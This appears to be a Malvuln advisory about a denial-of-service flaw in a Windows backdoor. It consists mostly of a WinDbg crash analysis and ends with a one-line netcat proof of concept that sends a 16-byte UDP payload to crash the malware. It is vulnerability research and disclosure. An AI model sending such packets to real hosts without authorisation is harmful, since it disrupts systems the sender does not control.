Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1a4d58e281103fea2a4ccbfab93f74d2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Denis.gen
Vulnerability: Remote Denial of Service (UDP Datagram)
Description: The malware listens on UDP port 50530 and the last digit increments by one each time the malware is restarted e.g. 50531. Third-party attackers who can reach infected systems can send 16 byte UDP packet to trigger an access violation and crash.
Type: PE32
MD5: 1a4d58e281103fea2a4ccbfab93f74d2
Vuln ID: MVID-2021-0395
Disclosure: 11/07/2021

Memory Dump:
(ebc.15e4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=01003ff0 edx=0000415d esi=00000003 edi=00000003
eip=7770ed3c esp=00bbec44 ebp=00bbedd4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400          ret     14h

0:000> .ecxr
eax=00bbf6a8 ebx=0000415d ecx=01003ff0 edx=0000415d esi=00000000 edi=00000000
eip=012020eb esp=00bbf584 ebp=00bbf5d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb:
012020eb 8a0419          mov     al,byte ptr [ecx+ebx]      ds:002b:0100814d=??

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419          mov     al,byte ptr [ecx+ebx]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 012020eb (HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x000020eb)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 0100814d
Attempt to read from address 0100814d

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  0100814d

READ_ADDRESS:  0100814d 

FOLLOWUP_IP: 
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419          mov     al,byte ptr [ecx+ebx]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000015e4

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 01206b11 to 012020eb

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
00bbf5d0 01206b11 01003ff0 0000415d 01002fe8 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb
00bbf9c4 01206e25 01214b3c 01200000 00000000 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6b11
00bbfa58 77408654 00ceb000 77408630 db60d728 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6e25
00bbfa6c 77704a77 00ceb000 c59b8fff 00000000 kernel32!BaseThreadInitThunk+0x24
00bbfab4 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f
00bbfac4 00000000 01214b8f 00ceb000 00000000 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2

IMAGE_NAME:  HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  502fe904

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb



Exploit/PoC:
python -c "print('A'*16)" | nc64.exe x.x.x.x -u -c 50531


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